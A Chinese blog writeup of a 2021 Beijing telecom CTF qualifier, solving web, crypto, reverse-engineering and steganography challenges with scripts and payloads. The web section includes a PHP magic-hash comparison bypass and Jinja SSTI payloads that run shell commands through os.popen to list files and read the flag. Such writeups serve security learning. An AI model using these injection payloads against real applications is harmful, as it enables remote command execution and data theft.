

2021第三届北京通信行业CTF初赛writeup

原创

[B1u3Buf4](#) 于 2021-08-13 02:10:01 发布 571 收藏 2

文章标签: [安全](#)

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本文链接: https://blog.csdn.net/qq_15174755/article/details/119658715

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整个CTF部分共计8道题, 需要在3个小时内完成。

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Web

web1

题目

```

<?php
if(!$_GET['source']){
    highlight_file(__FILE__);
}
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
$check = $a and $b;
if($check){
    if($a and $b){
        die("No flag!Try it again!");
    }
    else{
        if($c == md5($c)){
            die(getenv("FLAG"));
        }
    }
}
else{
    die("Are You kidding?");
}

```

php代码审计，主要考察 == 条件下，如何使用科学计数法绕过 `$c == md5($c)`。典型的例子有很多，甚至可以用脚本暴力枚举。

```
0e291242476940776845150308577824 == 0e215962017
```

payload:

```
?source=a&a=1&c=0e215962017
```

web2

题目给了一个输入框，根据提示python的SSTI问题。利用python内置函数leak导入的包，发现有导入os模块。然后通过调用os的读写函数查看目录，读flag。

列目录

```
{{config.__class__.__init__.__globals__['os'].popen('dir').read()}}
```

读flag

```
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
```

web3

没做出来。nodejs题目，比赛结束后才知道题目直接有源码，当时这边一直刷不出来源码的压缩包。

Crypto

bbuh

给了一个文本文件，内容类似base编码，观察字符集或者暴力尝试。解密链 `base32 -> base64 -> url decode -> hex to ascii`，果然如题目名称。解密脚本：

```

import base64
import binascii

a = 'JJKE252KKRRITSSUJUZEUVCNGJFFITJJSJJKFS6SKKRGTESSUJV4EUVCNGJFFITJTJJKE2M2KKRMXSSSUJUZEUVCNGFFFITL2JJKE2M2KKRG
XUSSUJV4EUVCNGJFFITL2JJKE26SKKRGXSSSUJV5EUVCNGNFITJJSJKE26SKKRGXUSSUJV5EUVCNGJFFITJRJJKE2MSKKGTCSSUJV5EUCNPJF
FITL2JJKE2MCKKRGTESSUJV5EUCNPJFFITJTJJKE2MSKKGTCSSUJV5EUCN05FFITL2JJKE2M2KKRGTESSUJV5EUCNPJFFITLXJJKE26SKKRG
TASSUJUZEUVCNGBFFITL2JJKE2NKKKRGXUSSUJUJUVCNGJFFITL2JJKE2MSKKGRTASSUJV5EUVCNGVFFITL2JJKE2M2KKRGTESSUJUVEUCNPJF
FITJRJJKE26SKKRGTGSSUJV5EUCNPBFFITJJSJKE2MCKKRGTGSSULEYA===='
b = base64.b32decode(a)
c = base64.b64decode(b.decode())
d = [chr(int(i, 16)) for i in c.split('%')[1:]]
e = ''.join(d)
f = e[2:]
print(binascii.a2b_hex(f))

```

rsa

rsa常见姿势，解密脚本：

```

import libnum
from Crypto.Util.number import long_to_bytes

e = 65537
c = 138722104762718976032857543651302886170525056001602716592141625658383767408264093262113709786172260615555996
8245677538119256956386692383862347086451111821341524649332172875419790192281592099848116282940387397514540861099
5097520994819749574339677738827382034968633591951669741169304662409576970312846920221151668802612329521115853147
0647815841245920170011729185862667469966554776861242160654743541992847193786005787832285852281200524417632476356
867636882769996990816521121318348035380840645933533595223820489454079648671365813341102117033272092657041876885
98700074911726675767052882649582734149920164476354819772572
n = 152930324523673501531654880190405917746819474618068462113941102532056422634734090367044305017886744882008512
8227898472591791275935231460907668010646514692798718589717537891665473115143595032019525552249429158398853602929
6991596619423707257925682257185042246028065776839633921182038513220548394723908052221984662464436997205150633282
3059270293925250995407084957805712498824896959739636329711833827770423563475510640669056962762857317882723036835
113854829778263745022742145120191829381076733304482744001065695458415753724529446374470691189088130391695782354
6888317663596809518986423759580164973515874335313890183844107
y = 247692304124525245667211985038807577149526498494620587227372131956797094691024123744042981854305983726197861
6026321068395350183106839334986436766098105898759185864178663868690647680903387010128905597187531730493833234965
02184441436691424048763065870187602889642817121344647370355274568061468019226498216956532

phi = n - y + 1
d = libnum.invmod(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

```

Reverse

re1

进入main，逻辑简单，异或算法，提取前面比较的字符

串 545E535549500702020B04030A1F515756011F065705061F500757071F030B050A0701020407570A054F

```

a = '545E535549500702020B04030A1F515756011F065705061F500757071F030B050A0701020407570A054F'
b = [chr(int(a[i:i+2], 16) ^ 0x32) for i in range(0, len(a), 2)]
print(''.join(b))

```

re2

有TLS反调试，ida可能会提示 `JUMPOUT`，直接跳进去能分析（ghidra显示正常）。主要逻辑是异或计算，直接提取两个32长度的数据，计算出来结果比较诡异，偶数位上的数据不正常。回溯后发现在tls回调函数修改其中一组的数据，关注4015B0上下游函数逻辑，对应调整偶数位数据即可。

Misc

misc1

LSB隐写，不过色彩三通道排序不是RBG，而是BGR。运行隐写分析工具，`java -jar .\stegsolve.jar`。在BGR排序的LSB下看到有PK头和flag.txt，疑似压缩包，使用save bin保存成flag.zip，解压即可。